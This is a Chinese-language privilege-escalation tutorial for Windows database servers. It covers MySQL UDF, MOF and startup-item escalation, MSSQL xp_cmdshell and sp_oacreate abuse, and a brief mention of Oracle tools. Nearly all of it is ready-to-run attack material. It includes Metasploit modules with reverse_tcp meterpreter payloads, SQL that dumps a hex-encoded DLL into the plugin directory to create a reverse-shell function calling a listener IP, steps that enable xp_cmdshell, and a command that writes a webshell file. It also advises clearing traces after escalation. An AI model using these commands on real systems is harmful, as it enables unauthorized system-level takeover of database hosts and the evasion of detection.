Windows提权—数据库提权-mysql提权&mssql提权&Oracle数据库提权
字数 1073 2025-08-18 17:33:11
Windows数据库提权技术详解
一、MySQL提权技术
1.1 UDF提权
基本概念
UDF(User-Defined Function)是MySQL的扩展接口,用于扩展MySQL功能。通过UDF文件定义新函数,可以将MySQL账号root权限提升为系统system权限。
前提条件
- MySQL版本大于5.1:UDF.dll必须放在MySQL安装目录的lib\plugin文件夹下
- MySQL版本小于5.1:
- Windows Server 2003:放在c:\windows\system32目录
- Windows Server 2000:放在c:\winnt\system32目录
- 拥有MySQL数据库的insert和delete权限
- 知道root账号密码
关键配置检查
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like '%plugin%'; # 查看plugin路径
show global variables like 'secure%'; # 检查secure_file_priv值是否为空
操作方法一:MSF自动化UDF提权
- 修改my.ini添加
secure_file_priv = ' ' - 开启数据库外连:
use mysql; grant all privileges on *.* to root@'%' identified by '密码'; flush privileges; - 使用MSF模块:
use exploit/multi/mysql/mysql_udf_payload set payload windows/meterpreter/reverse_tcp set password 数据库密码 set rhosts 目标IP run - 验证并执行命令:
select * from func; # 查看dll是否导入成功 create function sys_eval returns string soname 'xxxx.dll'; select sys_eval('whoami');
操作方法二:手工导出sqlmap中的dll
- 解码sqlmap中的dll:
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll - 处理并导入dll:
SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt'; create table udftmp (udf LONGBLOB); INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容")); SELECT udf from udftmp INTO DUMPFILE "插件路径/udf.dll"; - 创建函数并执行命令:
create function cmdshell returns string soname 'udf.dll'; select cmdshell('whoami');
操作方法三:使用暗月moon.php
- 上传moon.php并获取MySQL信息
- 导出udf并创建函数执行命令
1.2 MOF提权
原理
利用MySQL的root权限执行上传的mof文件,该文件包含添加管理员用户的VBS脚本。
条件
- Windows 2003及以下版本
- MySQL启动身份有读写c:/windows/system32/wbem/mof目录权限
- secure-file-priv参数不为null
MSF模块使用
use exploit/windows/mysql/mysql_mof
set password 数据库密码
set username 数据库账号
set rhost 目标IP
run
1.3 启动项提权
MSF模块使用
use exploit/windows/mysql/mysql_start_up
set payload windows/meterpreter/reverse_tcp
set rhost 目标IP
set username 数据库账号
set password 数据库密码
exploit
1.4 反弹shell
通过将dll文件以十六进制编码形式写入数据库,创建函数执行反弹shell:
set @a=concat('',0x4d5a...); # 十六进制dll内容
create table Ghost(data LONGBLOB);
insert into Ghost values("");
update Ghost set data = @a;
select data from Ghost into DUMPFILE '插件路径/McSpUhxS1.dll';
create function backshell returns string soname 'McSpUhxS1.dll';
select backshell('监听端IP',监听端口);
二、MSSQL提权技术
2.1 权限划分
- sa(System Administrator):最高权限
- dbo(Database Owner):数据库所有者权限
- guest:有限权限
- public:基本访问权限
2.2 xp_cmdshell提权
检查状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
启用xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
执行命令
EXEC master.dbo.xp_cmdshell 'whoami'
写文件
exec xp_cmdshell 'echo shell>c:\www\1.php'
2.3 sp_oacreate提权
启用组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
执行命令
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
三、Oracle提权技术
可直接使用专用工具进行提权操作,如:
- Oracle提权工具包
- Metasploit相关模块
注意事项
- 所有操作前应先进行充分的信息收集
- 提权成功后应及时清除痕迹
- 不同数据库版本可能有差异,需针对性调整方法
- 生产环境未经授权进行提权测试属于违法行为